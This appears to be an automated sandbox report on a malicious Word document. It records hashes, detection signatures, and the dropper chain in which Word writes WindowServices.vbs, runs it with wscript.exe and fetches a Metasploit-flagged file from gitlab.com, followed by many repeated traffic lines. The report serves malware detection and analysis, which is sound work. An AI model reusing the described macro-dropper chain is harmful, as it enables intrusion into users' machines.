Edit tour

Windows Analysis Report
1KaTo6P18Z.doc

Overview

General Information

Sample name:	1KaTo6P18Z.doc renamed because original name is a hash value
Original sample name:	1ae98e28ff5e890d00429031f5369692389256290dd4e5867f822db51cdc8027(1).doc
Analysis ID:	1590808
MD5:	f8b594e0b1d7a56093034e74d9374f6a
SHA1:	f42044adff61da67c1f7436625a4d7a86c1f6e33
SHA256:	1ae98e28ff5e890d00429031f5369692389256290dd4e5867f822db51cdc8027
Tags:	app8490744dochko247blackuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (creates forbidden files)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Document contains VBA stomped code (only p-code) potentially bypassing AV detection

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

Document exploit detected (process start blacklist hit)

Machine Learning detection for dropped file

Machine Learning detection for sample

Microsoft Office drops suspicious files

Office process queries suspicious COM object (likely to drop second stage)

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains an embedded VBA which might only executes on specific systems (country or language check)

Document contains embedded VBA macros

Found WSH timer for Javascript or VBS script (likely evasive script)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 5584 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

wscript.exe (PID: 1016 cmdline: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\up[1].txt	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000

Sigma Signatures

System Summary

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 5584, TargetFilename: C:\Users\user\Documents\WindowServices.vbs

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" , CommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 5584, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" , ProcessId: 1016, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" , CommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 5584, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" , ProcessId: 1016, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DesusertionIp: 172.65.251.78, DesusertionIsIpv6: false, DesusertionPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 1016, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49714

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" , CommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 5584, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs" , ProcessId: 1016, ProcessName: wscript.exe

Suricata Signatures

ET MALWARE PE EXE or DLL Windows file download Text M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T15:43:39.248828+0100	2022640	1	A Network Trojan was detected	172.65.251.78	443	192.168.2.9	49714	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1KaTo6P18Z.doc	Virustotal: Detection: 54%			Perma Link
Source: 1KaTo6P18Z.doc	ReversingLabs: Detection: 42%

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\~WRD0000.tmp

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 1KaTo6P18Z.doc

Joe Sandbox ML: detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.9:49714 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (creates forbidden files)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\Documents\WindowServices.vbs

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\wscript.exe

Source: global traffic

DNS query: name: gitlab.com

Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
